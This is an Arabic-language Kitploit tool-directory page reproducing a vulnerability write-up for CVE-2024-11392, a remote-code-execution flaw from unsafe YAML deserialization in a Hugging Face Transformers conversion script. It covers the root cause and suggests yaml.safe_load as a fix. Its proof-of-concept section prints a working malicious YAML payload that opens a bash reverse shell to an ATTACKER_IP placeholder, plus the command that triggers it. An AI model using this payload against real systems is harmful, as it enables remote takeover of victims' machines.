Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-11392 — التفاصيل الفنية والاستغلال لـ CVE-2024-11392 | Kitploit
أدوات/GitHubGitHub/piyush-bhor/cve-2024-11392
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولات
GitHubpiyush-bhor/cve-2024-11392

CVE-2024-11392

التفاصيل الفنية والاستغلال لـ CVE-2024-11392

عرض المستودع
6منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-11392

Hugging Face Transformers MobileViTV2 ثغرة تنفيذ التعليمات البرمجية عن بُعد بسبب إلغاء تسلسل البيانات غير الموثوقة

نظرة عامة عالية المستوى وتأثيرات الثغرة: تسمح الثغرة للمهاجم بتنفيذ تعليمات برمجية عشوائية على الجهاز المضيف عن طريق توفير ملف تكوين ضار للنص البرمجي convert_mlcvnets_to_pytorch.py في مستودع Hugging Face Transformers. إذا استخدم مستخدم غير متوقع نموذجًا من طرف ثالث مصحوبًا بملف تكوين ضار، فإن تنفيذ النص البرمجي convert_mlcvnets_to_pytorch.py سيؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على نظام الضحية.

المنتج المعرض للثغرة

  • المنتج: Hugging Face Transformers
  • الوحدة: MobileViTV2
  • الملف: transformers/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py
  • الإصدار: الأحدث
  • رابط GitHub الدائم: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py

تحليل السبب الجذري

  • وصف تفصيلي للثغرة: تنشأ الثغرة من إلغاء تسلسل غير آمن لبيانات غير موثوقة. يستخدم النص البرمجي دالة yaml.load مع المحمل ، الذي يقوم بتحميل لغة YAML بالكامل ويكون عرضة لتنفيذ التعليمات البرمجية.

FullLoader

  • تدفق الكود من الإدخال إلى الحالة المعرضة للخطر:

    1. يقوم المستخدم بتنزيل نموذج ml-cvnet من طرف ثالث مع ملف التكوين الخاص به.
    2. يقوم المستخدم بتشغيل النص البرمجي convert_mlcvnets_to_pytorch.py ويمرر إليه ملف التكوين.
    3. يقوم النص البرمجي convert_mlcvnets_to_pytorch.py بإلغاء تسلسل ملف التكوين وتنفيذ التعليمات البرمجية الضارة.

  • نقطة الحقن: تحدث الثغرة عند نقطة استدعاء yaml.load(yaml_file, Loader=yaml.FullLoader). رابط GitHub الدائم: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57

  • الإصلاحات المقترحة: استبدل yaml.load(yaml_file, Loader=yaml.FullLoader) بـ yaml.safe_load(yaml_file) لمنع تنفيذ التعليمات البرمجية العشوائية.

  • تعليمات تنفيذ الإثبات العملي:

    1. أنشئ ملف تكوين YAML ضار باسم transformers_exploit.yaml لفتح شل عكسية على نظام الضحية:
    root@kitploit:~
    !!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
    1. قم بتشغيل النص البرمجي convert_mlcvnets_to_pytorch.py ومرر ملف transformers_exploit.yaml إلى الوسيط --orig_config_path:
    root@kitploit:~
    > python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256

    ملاحظة: يمكن ترك dummy_checkpoint.pt كملف فارغ، و dummy_output كدليل فارغ، و task كأي خيار من الخيارات المذكورة في النص البرمجي.

    رابط تحميل البرنامج: https://github.com/huggingface/transformers/tree/main

    تنزيل الأداة